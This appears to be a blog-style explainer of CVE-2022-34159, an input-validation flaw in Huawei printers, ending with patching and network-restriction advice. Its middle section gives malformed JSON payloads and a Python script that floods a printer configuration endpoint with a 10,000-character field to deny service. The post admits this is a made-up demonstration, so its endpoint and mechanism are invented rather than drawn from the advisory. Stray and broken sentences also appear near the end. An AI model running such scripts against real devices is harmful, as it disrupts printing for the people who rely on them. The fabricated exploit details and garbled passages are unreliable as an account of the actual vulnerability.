In 2022, a new vulnerability was uncovered in some Huawei printer devices. This flaw, tracked as CVE-2022-34159, concerns a problem with *input verification*. If an attacker sends specifically crafted input to a vulnerable Huawei printer, the device’s services might crash or act in unexpected ways. This post breaks down what this vulnerability means, how it could be exploited, and what you need to do about it, all in clear and simple language.

What is CVE-2022-34159?

CVE-2022-34159 is a security issue filed by Huawei under the vulnerability tracking system called CVE (Common Vulnerabilities and Exposures). Its internal ID is HWPSIRT-2022-80078.

The vulnerability is simple, but serious: Huawei printers fail to verify and clean user input correctly. This flaw can let someone send unexpected input that the system cannot handle—causing the printer to stop working or behave strangely. In some situations, this could let an attacker launch a Denial-of-Service (DoS) attack.

Official References

- Huawei Security Bulletin: HWPSIRT-2022-80078
- NVD Entry for CVE-2022-34159

A Closer Look: What Devices Are Affected?

While Huawei didn't specify every affected model, the flaw is present in several of its network-enabled printers and multifunction devices. Usually, these issues affect models interacting with networked print jobs or remote management features.

How Does This Vulnerability Work?

The core issue is improper validation of input. When a printer receives external data (like a print job or configuration request), it is supposed to check the data is safe and well-formed. If that check is skipped or incomplete, attackers can craft data that the printer doesn’t expect.

Here’s a simplified example. Suppose the printer expects a specific format for configuration input, like a list of page settings:

{
  "pagesize": "A4",
  "duplex": true
}

A normal request should work fine. But if the input isn’t checked properly, an attacker might send

{
  "pagesize": "AAAAAAAAAAAA...AAAA", // (thousands of 'A's)
  "duplex": "notabool",
  "injection": { "malicious": "data" }
}

Note: This is a made-up, safe demonstration. Never attack devices without permission.

Suppose the vulnerable device uses a web API accepting POST requests for print settings but does not check input length or type.

A simple malicious script to exploit this might look like this (using Python)

import requests

url = "http://target_printer_ip/print/configure";

# Overly long string to cause buffer-handling issues
payload = {
    "pagesize": "A" * 10000,  # 10,000 characters! 
    "duplex": "yes"
}

response = requests.post(url, json=payload)
print(response.status_code)
print(response.text)

Deny printing service for everyone.

An attacker could even automate this, causing repeated service interruptions.

Although this is not a "remote code execution" bug, the damage can be real

- Denial of Service (DoS): Users and businesses may find their printers unavailable during critical times.
- Business Disruption: Print-dependent operations (offices, hospitals, logistics) could be interrupted.
- Gateway to Attack: While this bug doesn’t obviously lead to full system compromise, poorly handled input bugs can *sometimes* open up more serious issues if chained with other vulnerabilities.

Huawei has issued firmware updates for affected printers. Here’s what you should do

1. Apply Firmware Updates: Check the Huawei bulletin (official advisory) for patches.
2. Restrict Network Access: Limit who can send data to your printer devices. Use firewalls and network segmentation.
3. Monitor for Anomalies: Watch for repeated printer crashes, odd logs, or patterns suggesting automated attacks.

Conclusion

*CVE-2022-34159* is a reminder that even “simple” devices like printers need good security. Modern printers are Internet-connected and can be attacked just like other computers. The best way to defend your business is to:

- Huawei PSIRT – Security Bulletin for CVE-2022-34159
- NVD National Vulnerability Database – CVE-2022-34159
- What Is Input Validation and Why Does It Matter? (OWASP)

Timeline

Published on: 12/20/2024 03:15:06 UTC
Last modified on: 01/10/2025 21:45:07 UTC